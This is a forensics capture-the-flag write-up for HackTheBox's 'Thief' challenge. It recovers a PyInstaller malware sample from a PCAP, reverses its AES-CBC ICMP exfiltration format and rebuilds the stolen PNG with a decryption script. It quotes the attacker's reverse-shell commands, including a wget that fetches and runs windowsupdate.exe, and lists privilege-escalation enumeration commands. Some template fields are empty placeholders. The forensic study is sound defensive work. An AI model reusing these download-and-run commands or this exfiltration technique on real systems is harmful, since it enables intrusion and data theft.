Thief Challenge Scenario
Thief Challenge Scenario
Platform: HackTheBox | Category: Forensics | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-03 | Status: Solved Techniques: aes_cbc_decryption, icmp_exfil_reassembly, pcap_traffic_analysis, protocol_reverse_engineering, pyinstaller_malware_recovery
Summary
Task: analyze a PCAP and recovered malware from a host compromise where data is stolen over ICMP. Solution: recover the PyInstaller payload, reverse its AES-CBC exfil format, rebuild chunk order from ICMP id/seq, decrypt the PNG, and read the flag.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
HackTheBox| ID:20260403_hackthebox_thief_challenge_scenario - Tags: pcap, aes_cbc, pyinstaller, malware, exfiltration, scapy, reverse_shell, icmp
- Indicators: ICMP echo requests with payload prefix exfil-, static AES key The Bloodharbor! inside the malware, reverse shell downloads windowsupdate.exe over HTTP, 48 encrypted ICMP payloads with 6-byte prefix + 16-byte IV + 256-byte ciphertext, ICMP id/seq values are needed to restore chunk order
- Source:
20260403_hackthebox_thief_challenge_scenario.md
Foothold
Vulnerability / Misconfiguration
- aes_cbc_decryption
- icmp_exfil_reassembly
- pcap_traffic_analysis
- protocol_reverse_engineering
- pyinstaller_malware_recovery
bash read-only • copy allowed<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
bash read-only • copy allowedsudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
bash read-only • copy allowed<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- aes_cbc_decryption
- icmp_exfil_reassembly
- pcap_traffic_analysis
- protocol_reverse_engineering
- pyinstaller_malware_recovery
- Tags: pcap, aes_cbc, pyinstaller, malware, exfiltration, scapy, reverse_shell, icmp
Original Writeup
<details><summary>Click to expand original content</summary>Description
Analyze the provided traffic capture and recovered files to determine what was exfiltrated and recover the flag.
We are given a PCAP, a recovered Windows executable, and the final recovered image. The goal is to understand the compromise chain, reverse the exfiltration method, reconstruct the stolen file, and extract the flag.
Analysis
Step 1: Quick traffic reconnaissance
The PCAP immediately showed two important phases:
- A large TCP transfer from
10.2.32.72to192.168.127.146 - Later ICMP traffic from the victim toward
172.67.139.222
There was also an interactive session on TCP/5349, which turned out to be a reverse shell. Commands visible in that shell included:
text read-only • copy allowedwhoami hostname systeminfo wget http://10.2.32.72:4953/windowsupdate.exe -outfile windowsupdate.exe dir windowsupdate.exe 1dub.png ./windowsupdate.exe 1dub.png
This gives the whole storyline: the attacker gained a shell, downloaded windowsupdate.exe from an internal HTTP server on port 4953, and executed it against 1dub.png.
Step 2: Recover the malware from HTTP
Exporting HTTP objects from the request GET /windowsupdate.exe on TCP/4953 recovered the payload exactly.
Basic triage:
bash read-only • copy allowedfile windowsupdate.exe strings -n 6 windowsupdate.exe | rg 'scapy|Crypto|AES|exfil|Bloodharbor'
That quickly suggested a PyInstaller-packed Python sample using:
scapyfor raw packet transmissionCrypto.Cipher.AES/ PyCryptodome for encryption- the string
exfil- - the static key material
The Bloodharbor!
Decompiling the extracted .pyc with uncompyle6 revealed the core logic.
Step 3: Understand the exfiltration format
The malware reads the target file, splits it into 256-byte chunks, zero-pads the final chunk, and encrypts each chunk independently with AES-CBC.
The encrypted packet payload format is:
text read-only • copy allowed6-byte prefix: exfil- 16-byte IV: random per chunk 256-byte blob: AES-CBC(ciphertext)
So each ICMP echo-request payload is exactly 278 bytes.
The key is static:
text read-only • copy allowedThe Bloodharbor!
From the PCAP, there were exactly 48 ICMP echo requests whose payload started with exfil-, matching the malware design.
Step 4: Why raw packet order does not work
Simply decrypting the ICMP packets in capture order does not reconstruct the file correctly. The malware intentionally scrambles chunk order before sending.
The recovered code builds a tree-like structure and then transmits packets with:
ICMP.id = tree depthICMP.seq = position within that depth bucket- payload = encrypted file chunk
The send order is randomized with shuffle(vals), so capture order is meaningless. Reconstruction must be done by recreating the malware's scramble mapping and then using (icmp.id, icmp.seq) to place each chunk back into its original file position.
Step 5: Rebuild, decrypt, and identify the stolen file
After reproducing the same scramble logic for 48 chunks, every ICMP packet could be mapped to its original chunk index. Decrypting each chunk with AES-CBC and concatenating the plaintext produced a valid PNG.
The recovered file started with the PNG magic bytes:
text read-only • copy allowed89 50 4e 47 0d 0a 1a 0a
Opening the rebuilt image displayed the flag on-screen.
Solution
Step 1: Confirm the shell activity
Use Wireshark or tshark to inspect the TCP/5349 stream and note the executed commands. This identifies the downloaded malware and the target file name.
Step 2: Recover and reverse the payload
Export windowsupdate.exe from the HTTP transfer on port 4953, then inspect it with file, strings, and uncompyle6 to recover the Python logic.
Step 3: Extract ICMP exfil packets
Filter only ICMP echo requests whose raw payload starts with exfil-.
Step 4: Recreate the malware's scramble mapping
Instead of trusting packet order, generate the same tree structure over placeholder chunk indexes 0..47. This produces a lookup from (icmp.id, icmp.seq) to the original chunk position.
Step 5: Decrypt the chunks and rebuild the PNG
For each ICMP packet:
- strip the
exfil-prefix - take the next 16 bytes as the IV
- decrypt the final 256 bytes with AES-CBC using
The Bloodharbor! - place the plaintext into the correct chunk slot
Concatenate the chunks, trim trailing zero padding, and save the result as a PNG.
Full working solve script
python read-only • copy allowed#!/usr/bin/env python3 from math import sqrt from pathlib import Path from Crypto.Cipher import AES from scapy.all import ICMP, Raw, rdpcap PCAP = Path("challenge.pcap") OUT = Path("recovered.png") KEY = b"The Bloodharbor!" PREFIX = b"exfil-" def next_square(): x = 0 while True: yield 2 ** x x += 1 def scramble(content): bound = int(sqrt(len(content))) * 10 pos = 0 tree = [] for iteration in next_square(): if iteration > 1: ins = tree[-iteration // 2 :] debug = 0 for _ in range(iteration): if pos >= len(content): continue if iteration > 1: if len(ins) == 1: tree.append(ins + [content[pos]]) else: tree.append(ins[debug % (iteration // 2)] + [content[pos]]) debug += 1 else: tree.append(content[pos]) pos += 1 if iteration > bound: break return tree def build_mapping(chunk_count): placeholders = list(range(chunk_count)) scrambled = scramble(placeholders) tree = {} current_depth = 1 for node in scrambled: if not isinstance(node, list): tree[1] = [[[node], 0]] continue bucket = tree.get(len(node), []) if not bucket: tree[len(node)] = bucket if len(node) % 2 == 0: bucket.append([node, len(bucket)]) else: bucket.insert(0, [node, len(bucket)]) if current_depth != len(node): for idx, _ in enumerate(tree[current_depth]): tree[current_depth][idx][1] = idx current_depth = len(node) mapping = {} for icmp_id, entries in tree.items(): for path, seq in entries: mapping[(icmp_id, seq)] = path[-1] return mapping def extract_packets(pcap_path): packets = rdpcap(str(pcap_path)) exfil = [] for packet in packets: if ICMP not in packet or packet[ICMP].type != 8 or Raw not in packet: continue payload = bytes(packet[Raw].load) if not payload.startswith(PREFIX): continue exfil.append((packet[ICMP].id, packet[ICMP].seq, payload)) return exfil def decrypt_chunk(blob): iv = blob[6:22] ciphertext = blob[22:278] return AES.new(KEY, AES.MODE_CBC, iv).decrypt(ciphertext) def main(): exfil = extract_packets(PCAP) if not exfil: raise SystemExit("No exfil packets found") mapping = build_mapping(len(exfil)) ordered = [None] * len(exfil) for icmp_id, seq, payload in exfil: ordered[mapping[(icmp_id, seq)]] = decrypt_chunk(payload) if any(chunk is None for chunk in ordered): raise SystemExit("Missing chunks after reconstruction") data = b"".join(ordered).rstrip(b"\x00") OUT.write_bytes(data) print(f"Recovered {len(exfil)} encrypted chunks") print(f"Wrote {OUT} ({len(data)} bytes)") print(f"PNG magic: {data[:8]!r}") if __name__ == "__main__": main()
Running the script against the challenge PCAP reconstructs the stolen PNG. Opening it reveals the flag:
</details>signed by XESXOR